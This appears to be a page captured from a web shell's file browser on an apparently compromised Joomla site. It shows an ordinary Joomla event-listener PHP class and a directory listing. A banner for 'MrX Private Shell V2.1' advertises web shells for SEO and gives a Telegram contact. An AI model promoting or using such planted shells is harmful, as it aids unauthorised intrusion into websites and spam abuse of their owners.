__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Part of the Joomla Framework Event Package
*
* @copyright Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Event;
use Psr\Container\ContainerInterface;
/**
* Decorator for an event listener to be pulled from the service container.
*
* @since 2.0.0
*/
final class LazyServiceEventListener
{
/**
* The service container to load the service from
*
* @var ContainerInterface
* @since 2.0.0
*/
private $container;
/**
* The ID of the service from the container to be used
*
* @var string
* @since 2.0.0
*/
private $serviceId;
/**
* The method from the service to be called
*
* @var string
* @since 2.0.0
*/
private $method;
/**
* Constructor.
*
* @param ContainerInterface $container The service container to load the service from when it shall be executed
* @param string $serviceId The ID of the service from the container to be used
* @param string $method The method from the service to be called if necessary. If left empty, the service must be a callable;
* (i.e. have an `__invoke()` method on a class)
*
* @since 2.0.0
* @throws \InvalidArgumentException if the service ID is empty
*/
public function __construct(ContainerInterface $container, string $serviceId, string $method = '')
{
if (empty($serviceId)) {
throw new \InvalidArgumentException(
sprintf(
'The $serviceId parameter cannot be empty in %s',
self::class
)
);
}
$this->container = $container;
$this->serviceId = $serviceId;
$this->method = $method;
}
/**
* Load a service from the container to listen to an event.
*
* @param EventInterface $event The event to process
*
* @return void
*
* @since 2.0.0
* @throws \InvalidArgumentException if the constructor's $method parameter is empty when not executing a callable service
* @throws \RuntimeException if the service cannot be executed
*/
public function __invoke(EventInterface $event): void
{
if (!$this->container->has($this->serviceId)) {
throw new \RuntimeException(
sprintf(
'The "%s" service has not been registered to the service container',
$this->serviceId
)
);
}
$service = $this->container->get($this->serviceId);
// If the service is callable on its own, just execute it
if (\is_callable($service)) {
\call_user_func($service, $event);
return;
}
if (empty($this->method)) {
throw new \InvalidArgumentException(
sprintf(
'The $method argument is required when creating a "%s" to call a method from the "%s" service.',
self::class,
$this->serviceId
)
);
}
if (!method_exists($service, $this->method)) {
throw new \RuntimeException(
sprintf(
'The "%s" method does not exist on "%s" (from service "%s")',
$this->method,
\get_class($service),
$this->serviceId
)
);
}
\call_user_func([$service, $this->method], $event);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Command | Folder | 0775 |
|
|
| AbstractEvent.php | File | 4.87 KB | 0664 |
|
| Dispatcher.php | File | 13.57 KB | 0664 |
|
| DispatcherAwareInterface.php | File | 686 B | 0664 |
|
| DispatcherAwareTrait.php | File | 1.22 KB | 0664 |
|
| DispatcherInterface.php | File | 3.67 KB | 0664 |
|
| Event.php | File | 3.1 KB | 0664 |
|
| EventImmutable.php | File | 2.38 KB | 0664 |
|
| EventInterface.php | File | 1.23 KB | 0664 |
|
| LazyServiceEventListener.php | File | 3.65 KB | 0664 |
|
| ListenersPriorityQueue.php | File | 3.73 KB | 0664 |
|
| Priority.php | File | 1.69 KB | 0664 |
|
| SubscriberInterface.php | File | 895 B | 0664 |
|